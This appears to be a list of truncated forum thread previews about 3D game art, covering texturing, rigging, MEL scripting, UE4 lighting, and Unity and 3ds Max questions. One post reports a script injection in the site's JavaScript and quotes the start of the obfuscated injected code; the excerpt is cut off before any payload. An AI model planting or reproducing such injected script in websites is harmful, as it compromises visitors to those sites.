1) Is there a "good" or "bad" way to set up the alpha blend for vertex painting? Is it just preference based on aesthetics? 2) I'm trying to understand why this behaves the way it does: It works fine like it is, there is a 100% blend between the two diffuse textures I'm using it with. Why does it only work correctly when…
Question. Not sure but having some trouble with this recently. Normally I would use 1 mesh 1 smoothing group in order to bake off bevels. After this test though I may need to completely rethink this. I did a test mesh and did some bevels on it with a fillet. The high poly is on the right and the lo poly is on the left.…
Hi I'm trying to use some MEL code to orient a EP curve control to a joint and while it puts the control in the correct orientation it offsets the control away from the joint. Why does this happen? The code is below: ___________________________________________________________________________________________ { string $sel[]…
Ok, Im having an issue getting my constraints to work the way i want them to. here's the deal.... I have a character with two hands. i have a mace. what im trying to do is make it so i can switch between the hands that are holding it. I can get the constraint to work with 1 hand. but as soon as i try to make it switch to…
Hey guys, Building my first interior scene and wondering which model configuration is best for UE4's lighting system. Examples below: 1 color = 1 mesh. In this example the meshes are separated by material (floor is separate mesh too) total mesh = 4 1 color = 1 mesh total mesh = 12 In this example the meshes have been split…
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
Unity and Polycount are pleased to announce Unity Connect. Here's a bit of text from Unity on what Unity Connect is and what they hoping for with this free service: As with all big events, we've got a contest for ALL Unity devs this time, not just the artists out there. Here's all the official rules and details from the…
my max has started being weird anytime i do a extrude it defaults to 10 meters which is huge, chamfers default to 1 meter, which is still huge. i would like these to default to 0 (sure i know i can rt click the spinner, but curious if theres a way to have it do that auto). i mean a 10 meter extrude seems extreme. also when…
Hello, I'm working on Photoscanned textures for games. They're tileable, have accurate Normal and Heightmaps based on real-life geometry, and maximum of 4k resolution :) Currently I have: 1)Photoscanned Miscellaneous Materials -FREE- http://u3d.as/heB: -1 Pebbles -1 Dead leaves -1 Wood Chips 2)Photoscanned Grass Materials…
Hello! I was wondering if someone have any insight on how to get substance painter Basecolor to match up with ue4 witout tweaking the texture in ue4. This is where im at now: SubstancePainter:-Set Environment map to Soft_1Front -Set Environment Exposure to -1 This makes 50% gray BaseColor with Roughness 1 material, to be…